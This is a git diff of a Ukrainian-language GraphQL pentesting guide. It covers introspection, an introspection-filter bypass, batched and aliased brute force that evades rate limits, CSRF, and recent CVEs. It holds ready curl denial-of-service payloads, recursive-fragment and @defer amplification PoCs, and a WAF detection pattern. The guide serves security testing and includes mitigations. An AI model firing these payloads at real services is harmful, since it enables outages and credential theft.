diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 904e11ee8..cdc317c4b 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,15 +4,15 @@ ## Introduction -GraphQL є **ефективною альтернативою** REST API, пропонуючи спрощений підхід для запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через **один запит**. Це спрощення значно **допомагає розробникам**, зменшуючи складність їх процесів отримання даних. +GraphQL виділяється як **ефективна альтернатива** REST API, пропонуючи спрощений підхід до запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через **один запит**. Це спрощення значно **вигідне для розробників**, зменшуючи складність їх процесів отримання даних. -## GraphQL і безпека +## GraphQL and Security -З появою нових технологій, включаючи GraphQL, також виникають нові вразливості безпеки. Ключовим моментом є те, що **GraphQL за замовчуванням не включає механізми аутентифікації**. Відповідальність за впровадження таких заходів безпеки лежить на розробниках. Без належної аутентифікації кінцеві точки GraphQL можуть розкривати чутливу інформацію неаутентифікованим користувачам, що становить значний ризик для безпеки. +З появою нових технологій, включаючи GraphQL, також виникають нові вразливості безпеки. Ключовий момент, який слід зазначити, полягає в тому, що **GraphQL за замовчуванням не включає механізми аутентифікації**. Відповідальність за впровадження таких заходів безпеки лежить на розробниках. Без належної аутентифікації кінцеві точки GraphQL можуть розкривати чутливу інформацію неаутентифікованим користувачам, що становить значний ризик для безпеки. -### Атаки грубої сили на директорії та GraphQL +### Directory Brute Force Attacks and GraphQL -Для виявлення відкритих екземплярів GraphQL рекомендується включення специфічних шляхів у атаки грубої сили на директорії. Ці шляхи: +Щоб виявити відкриті екземпляри GraphQL, рекомендується включати специфічні шляхи в атаки грубої сили на директорії. Ці шляхи: - `/graphql` - `/graphiql` @@ -23,15 +23,15 @@ GraphQL є **ефективною альтернативою** REST API, про - `/graphql/api` - `/graphql/graphql` -Виявлення відкритих екземплярів GraphQL дозволяє перевірити підтримувані запити. Це важливо для розуміння даних, доступних через кінцеву точку. Система інтроспекції GraphQL полегшує це, детально описуючи запити, які підтримує схема. Для отримання додаткової інформації про це зверніться до документації GraphQL з інтроспекції: [**GraphQL: Мова запитів для API.**](https://graphql.org/learn/introspection/) +Виявлення відкритих екземплярів GraphQL дозволяє перевірити підтримувані запити. Це важливо для розуміння даних, доступних через кінцеву точку. Система інтроспекції GraphQL полегшує це, детально описуючи запити, які підтримує схема. Для отримання додаткової інформації про це зверніться до документації GraphQL з інтроспекції: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) -### Відбиток +### Fingerprint Інструмент [**graphw00f**](https://github.com/dolevf/graphw00f) здатний виявити, який движок GraphQL використовується на сервері, а потім виводить корисну інформацію для аудитора безпеки. -#### Універсальні запити +#### Universal queries -Щоб перевірити, чи є URL сервісом GraphQL, можна надіслати **універсальний запит**, `query{__typename}`. Якщо відповідь містить `{"data": {"__typename": "Query"}}`, це підтверджує, що URL містить кінцеву точку GraphQL. Цей метод спирається на поле `__typename` GraphQL, яке розкриває тип запитуваного об'єкта. +Щоб перевірити, чи є URL сервісом GraphQL, можна надіслати **універсальний запит**, `query{__typename}`. Якщо відповідь містить `{"data": {"__typename": "Query"}}`, це підтверджує, що URL має кінцеву точку GraphQL. Цей метод спирається на поле `__typename` GraphQL, яке розкриває тип запитуваного об'єкта. ```javascript query{__typename} ``` @@ -45,13 +45,13 @@ Graphql зазвичай підтримує **GET**, **POST** (x-www-form-urlenc ```bash query={__schema{types{name,fields{name}}}} ``` -За допомогою цього запиту ви знайдете назву всіх використовуваних типів: +За допомогою цього запиту ви знайдете назви всіх типів, що використовуються: ![](<../../images/image (1036).png>) ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` -За допомогою цього запиту ви можете витягти всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для того, щоб знати, як запитувати базу даних. +За допомогою цього запиту ви можете витягти всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для розуміння того, як запитувати базу даних. ![](<../../images/image (950).png>) @@ -67,7 +67,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy **Перерахунок схеми бази даних через інспекцію** -> [!NOTE] +> [!TIP] > Якщо інспекція увімкнена, але вищезазначений запит не виконується, спробуйте видалити директиви `onOperation`, `onFragment` та `onField` зі структури запиту. ```bash #Full introspection query @@ -176,11 +176,11 @@ name ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -Зверніть увагу, що тип запиту "_flags_" - це "_Flags_", і цей об'єкт визначається як нижче: +Зверніть увагу, що тип запиту "_flags_" - це "_Flags_", і цей об'єкт визначається нижче: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -Ви можете побачити, що об'єкти "_Flags_" складаються з **name** та **value**. Тоді ви можете отримати всі імена та значення прапорців за допомогою запиту: +Ви можете бачити, що об'єкти "_Flags_" складаються з **name** та **value**. Тоді ви можете отримати всі імена та значення прапорів за допомогою запиту: ```javascript query={flags{name, value}} ``` @@ -202,16 +202,16 @@ query = { hiddenFlags } ![](<../../images/image (1042).png>) Схоже, що якимось чином він буде шукати, використовуючи аргумент "_**uid**_" типу _**Int**_.\ -В будь-якому випадку, ми вже знали, що в розділі [Basic Enumeration](graphql.md#basic-enumeration) було запропоновано запит, який показував нам всю необхідну інформацію: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +У будь-якому випадку, ми вже знали, що в розділі [Basic Enumeration](graphql.md#basic-enumeration) було запропоновано запит, який показував нам всю необхідну інформацію: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "_**user**_" мав **аргумент** "_**uid**_" типу _Int_. +Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "_**user**_" мав **arg** "_**uid**_" типу _Int_. -Отже, виконуючи легкий _**uid**_ брутфорс, я виявив, що при _**uid**=**1**_ було отримано ім'я користувача та пароль:\ +Отже, виконуючи легкий _**uid**_ брутфорс, я виявив, що в _**uid**=**1**_ було отримано ім'я користувача та пароль:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) -Зверніть увагу, що я **виявив**, що можу запитати **параметри** "_**user**_" та "_**password**_", тому що якщо я спробую шукати щось, чого не існує (`query={user(uid:1){noExists}}`), я отримую цю помилку: +Зверніть увагу, що я **виявив**, що можу запитати **параметри** "_**user**_" та "_**password**_", тому що якщо я спробую шукати щось, що не існує (`query={user(uid:1){noExists}}`), я отримую цю помилку: ![](<../../images/image (707).png>) @@ -219,7 +219,7 @@ query = { hiddenFlags } **Трюк з вивантаженням рядка запиту (дякую @BinaryShadow\_)** -Якщо ви можете шукати за рядковим типом, наприклад: `query={theusers(description: ""){username,password}}` і ви **шукаєте порожній рядок**, це **вивантажить всі дані**. (_Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустимо, що ви можете шукати, використовуючи "**theusers**" за полем рядка під назвою "**description**"_). +Якщо ви можете шукати за рядковим типом, наприклад: `query={theusers(description: ""){username,password}}` і ви **шукаєте порожній рядок**, це **вивантажить всі дані**. (_Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустіть, що ви можете шукати, використовуючи "**theusers**" за полем рядка під назвою "**description**"_). ### Пошук @@ -258,7 +258,7 @@ name } }r ``` -Або навіть **відносини кількох різних об'єктів, використовуючи псевдоніми**: +Або навіть **відносини кількох різних об'єктів за допомогою псевдонімів**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { @@ -334,14 +334,14 @@ releaseYear ``` ### Директивне перевантаження -Як пояснено в [**одній з вразливостей, описаних у цьому звіті**](https://www.landh.tech/blog/20240304-google-hack-50000/), директивне перевантаження передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо вивести з ладу (DoS). +Як пояснено в [**одній з вразливостей, описаних у цьому звіті**](https://www.landh.tech/blog/20240304-google-hack-50000/), директивне перевантаження передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо вивести з ладу. -### Пакетна брутфорс-атака в 1 API запиті +### Пакетне брутфорсинг в 1 API запиті Цю інформацію було взято з [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична брутфорс-атака, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетної обробки GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, який намагається вгадати паролі. +Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична атака брутфорсом, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетування GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, що намагається вгадати паролі. -Нижче ви можете знайти найпростіше демонстраційне запит на аутентифікацію програми з **3 різними парами електронна пошта/пароль одночасно**. Очевидно, що можливо відправити тисячі в одному запиті таким же чином: +Нижче ви можете знайти найпростіше демонстраційне запит на аутентифікацію програми, з **3 різними парами електронна пошта/пароль одночасно**. Очевидно, що можливо відправити тисячі в одному запиті таким же чином: ![](<../../images/image (1081).png>) @@ -353,13 +353,13 @@ releaseYear Все більше **graphql кінцевих точок відключають інспекцію**. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для інструментів, таких як [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), щоб відтворити більшу частину схеми. -Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, які проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, що проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Гарний **словник** для виявлення [**суб'єктів GraphQL можна знайти тут**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Обхід захисту інспекції GraphQL -Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні помилки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але які можуть не бути враховані в regex, можна обійти обмеження. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти: +Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні недоліки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але які можуть не враховуватися в regex, обмеження можна обійти. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти: ```bash # Example with newline to bypass { @@ -421,19 +421,19 @@ file:* query ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -Тому, оскільки запити CSRF, як і попередні, надсилаються **без попередніх запитів**, можливо **виконати** **зміни** в GraphQL, зловживаючи CSRF. +Тому, оскільки запити CSRF, подібні до попередніх, надсилаються **без попередніх запитів**, можливо **виконати** **зміни** в GraphQL, зловживаючи CSRF. Однак зверніть увагу, що нове значення за замовчуванням куки для прапора `samesite` у Chrome - `Lax`. Це означає, що куки будуть надсилатися лише з веб-сайту третьої сторони в GET-запитах. -Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET-запиті. +Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET-запиті. -Також, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/index.html) **атака**, можливо ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача. +Крім того, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/index.html) **атака**, можливо ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача. Для отримання додаткової інформації **перевірте** [**оригінальний пост тут**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Викрадення WebSocket між сайтами в GraphQL -Подібно до вразливостей CRSF, зловживаючи GraphQL, також можливо виконати **викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками** і змусити користувача виконувати неочікувані дії в GraphQL. +Подібно до вразливостей CRSF, зловживаючи GraphQL, також можливо виконати **викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками** і змусити користувача виконувати несподівані дії в GraphQL. Для отримання додаткової інформації перевірте: @@ -459,19 +459,19 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A [Зв'язування запитів](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) разом може обійти слабку систему аутентифікації. -У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, у цьому випадку ми додаємо "register" і змінну користувача, щоб система зареєструвала його як нового користувача. +У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, в даному випадку ми додаємо "register" і змінну користувача, щоб система зареєструвала його як нового користувача.
## Обхід обмежень швидкості за допомогою псевдонімів у GraphQL -У GraphQL псевдоніми - це потужна функція, яка дозволяє **явно називати властивості** під час виконання запиту API. Ця можливість особливо корисна для отримання **кількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям. +У GraphQL псевдоніми є потужною функцією, яка дозволяє **явно називати властивості** під час виконання запиту до API. Ця можливість особливо корисна для отримання **декількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям. Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисний випадок використання, коли псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості. +Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисне використання, при якому псевдоніми можуть бути використані для виконання атак методом грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам методом грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості. -Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можуть бути використані для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки він компілює кілька запитів в один HTTP-запит, потенційно дозволяючи перевірити численні коди знижок одночасно. +Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можуть бути використані для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки компілює кілька запитів в один HTTP-запит, потенційно дозволяючи перевірити численні коди знижок одночасно. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -490,7 +490,7 @@ valid ### Перевантаження псевдонімів -**Перевантаження псевдонімів** - це вразливість GraphQL, коли зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до **Відмови в обслуговуванні (DoS)**. Наприклад, у наведеному нижче запиті те саме поле (`expensiveField`) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно виснажує ЦП або пам'ять: +**Перевантаження псевдонімів** - це вразливість GraphQL, де зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до **Відмови в обслуговуванні (DoS)**. Наприклад, у наведеному нижче запиті те саме поле (`expensiveField`) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно може виснажити ЦП або пам'ять: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ @@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \ ### **Пакетування запитів на основі масивів** -**Пакетування запитів на основі масивів** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу. +**Пакетування запитів на основі масивів** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром партії або запитами, які вимагають великих обчислень, це може перевантажити сервер. +У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром партії або запитами, що вимагають великих обчислень, це може перевантажити сервер. -### **Уразливість через перевантаження директив** +### **Уразливість перевантаження директив** -**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дублікатними директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дублікатами директив, щоб викликати високе використання обчислень або пам'яті, що призводить до **Denial of Service (DoS)**. +**Перевантаження директив** виникає, коли сервер GraphQL дозволяє запити з надмірними, дублікатними директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дублікатами директив, щоб викликати високе використання обчислень або пам'яті, що призводить до **відмови в обслуговуванні (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -535,7 +535,7 @@ curl -X POST \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -А потім **використовуйте деякі з кастомних**. +І потім **використовуйте деякі з кастомних**. ### **Вразливість Дублювання Полів** @@ -546,24 +546,87 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 'https://example.com/graphql' ``` +## Останні вразливості (2023-2025) + +> Екосистема GraphQL розвивається дуже швидко; протягом останніх двох років було виявлено кілька критичних проблем у найбільш використовуваних серверних бібліотеках. Коли ви знаходите GraphQL кінцеву точку, варто провести ідентифікацію движка (див. **graphw00f**) і перевірити запущену версію на наявність вразливостей нижче. + +### CVE-2024-47614 – `async-graphql` директива-перевантаження DoS (Rust) +* Вразливі: async-graphql < **7.0.10** (Rust) +* Корінна причина: відсутність обмеження на **дубльовані директиви** (наприклад, тисячі `@include`), які розширюються в експоненційну кількість вузлів виконання. +* Вплив: один HTTP запит може виснажити CPU/RAM і зламати сервіс. +* Виправлення/зменшення: оновлення ≥ 7.0.10 або виклик `SchemaBuilder.limit_directives()`; альтернативно фільтруйте запити за допомогою правила WAF, такого як `"@include.*@include.*@include"`. +```graphql +# PoC – repeat @include X times +query overload { +__typename @include(if:true) @include(if:true) @include(if:true) +} +``` +### CVE-2024-40094 – `graphql-java` ENF глибини/складності обхід +* Вразливі: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 +* Корінна причина: **ExecutableNormalizedFields** не враховувалися інструментацією `MaxQueryDepth` / `MaxQueryComplexity`. Рекурсивні фрагменти, отже, обходили всі обмеження. +* Вплив: неавтентифікований DoS атака на Java стеки, які вбудовують graphql-java (Spring Boot, Netflix DGS, продукти Atlassian…). +```graphql +fragment A on Query { ...B } +fragment B on Query { ...A } +query { ...A } +``` +### CVE-2023-23684 – WPGraphQL SSRF до RCE ланцюг +* Вразливі: WPGraphQL ≤ 1.14.5 (плагін WordPress). +* Корінна причина: мутація `createMediaItem` приймала **`filePath` URL**, контрольовані атакуючим, що дозволяло доступ до внутрішньої мережі та запис файлів. +* Вплив: автентифіковані Редактори/Автори могли отримати доступ до кінцевих точок метаданих або записувати PHP файли для віддаленого виконання коду. + +--- + +## Зловживання інкрементальною доставкою: `@defer` / `@stream` +З 2023 року більшість основних серверів (Apollo 4, GraphQL-Java 20+, HotChocolate 13) реалізували директиви **інкрементальної доставки**, визначені робочою групою GraphQL-over-HTTP. Кожен відкладений патч надсилається як **окремий фрагмент**, тому загальний розмір відповіді стає *N + 1* (конверт + патчі). Запит, що містить тисячі маленьких відкладених полів, отже, генерує велику відповідь, коштуючи атакуючому лише один запит – класичний **посилений DoS** і спосіб обійти правила WAF щодо розміру тіла, які перевіряють лише перший фрагмент. Члени робочої групи самі вказали на ризик. + +Приклад корисного навантаження, що генерує 2 000 патчів: +```graphql +query abuse { +% for i in range(0,2000): +f{{i}}: __typename @defer +% endfor +} +``` +Зменшення ризиків: вимкніть `@defer/@stream` у виробництві або забезпечте `max_patches`, кумулятивні `max_bytes` та час виконання. Бібліотеки, такі як **graphql-armor** (див. нижче), вже забезпечують розумні значення за замовчуванням. + +--- + +## Захисне проміжне програмне забезпечення (2024+) + +| Проект | Примітки | +|---|---| +| **graphql-armor** | Проміжне програмне забезпечення для валідації Node/TypeScript, опубліковане Escape Tech. Реалізує обмеження plug-and-play для глибини запиту, кількості псевдонімів/полів/директив, токенів та вартості; сумісне з Apollo Server, GraphQL Yoga/Envelop, Helix тощо. | + +Швидкий старт: +```ts +import { protect } from '@escape.tech/graphql-armor'; +import { applyMiddleware } from 'graphql-middleware'; + +const protectedSchema = applyMiddleware(schema, ...protect()); +``` +`graphql-armor` тепер блокуватиме надто глибокі, складні або насичені директивами запити, захищаючи від вищезгаданих CVE. + +--- + ## Інструменти ### Сканери вразливостей -- 